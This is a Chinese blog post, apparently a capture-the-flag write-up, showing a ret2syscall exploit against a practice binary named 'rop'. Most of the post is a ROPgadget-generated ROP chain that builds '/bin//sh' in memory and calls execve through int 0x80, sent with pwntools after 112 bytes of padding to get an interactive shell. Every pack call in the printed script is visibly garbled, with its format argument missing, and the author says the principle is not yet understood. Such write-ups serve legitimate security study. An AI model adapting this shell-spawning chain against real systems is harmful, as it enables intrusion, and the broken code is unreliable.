pwn ret2syscall

学了学pwndbg的使用,文章在这里:gdb+pwndbg食用指南

这篇博客注定是一篇水文,因为昨天做了做XCTF攻防世界上的题目,基础题都做不来,那题应该是ret2text的内容,还是太菜,没有深刻理解原理,导致做不出,对于ret2syscall现在理解的不深刻,在这里记录一下是怎么做的吧,原理懂了再补上。

查看一下文件的基本信息

pwn ret2syscall_第1张图片32位静态链接的程序,开启了NX保护。

由于是静态链接的,所以我们可以使用ropgadget工具生成一个ropchain

命令为:ROPgadget --binary rop --ropchain (rop为文件名)

pwn ret2syscall_第2张图片
完整的exp为

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack(', 0x0806eb6a) # pop edx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack(', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806eb6a) # pop edx ; ret
p += pack(', 0x080ea064) # @ .data + 4
p += pack(', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack(', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(', 0x0806eb6a) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x08054590) # xor eax, eax ; ret
p += pack(', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(', 0x080481c9) # pop ebx ; ret
p += pack(', 0x080ea060) # @ .data
p += pack(', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x080ea060) # padding without overwrite ebx
p += pack(', 0x0806eb6a) # pop edx ; ret
p += pack(', 0x080ea068) # @ .data + 8
p += pack(', 0x08054590) # xor eax, eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x0807b5bf) # inc eax ; ret
p += pack(', 0x08049421) # int 0x80

from pwn import *

q = process('./rop')

q.sendline('a'*112 + p)

q.interactive()


pwn ret2syscall_第3张图片这篇水文到此结束了,这是一篇水的不能再水的文了,没有讲原理。。。毫无营养。。但是不写感觉还是少点什么

你可能感兴趣的:(pwn ret2syscall)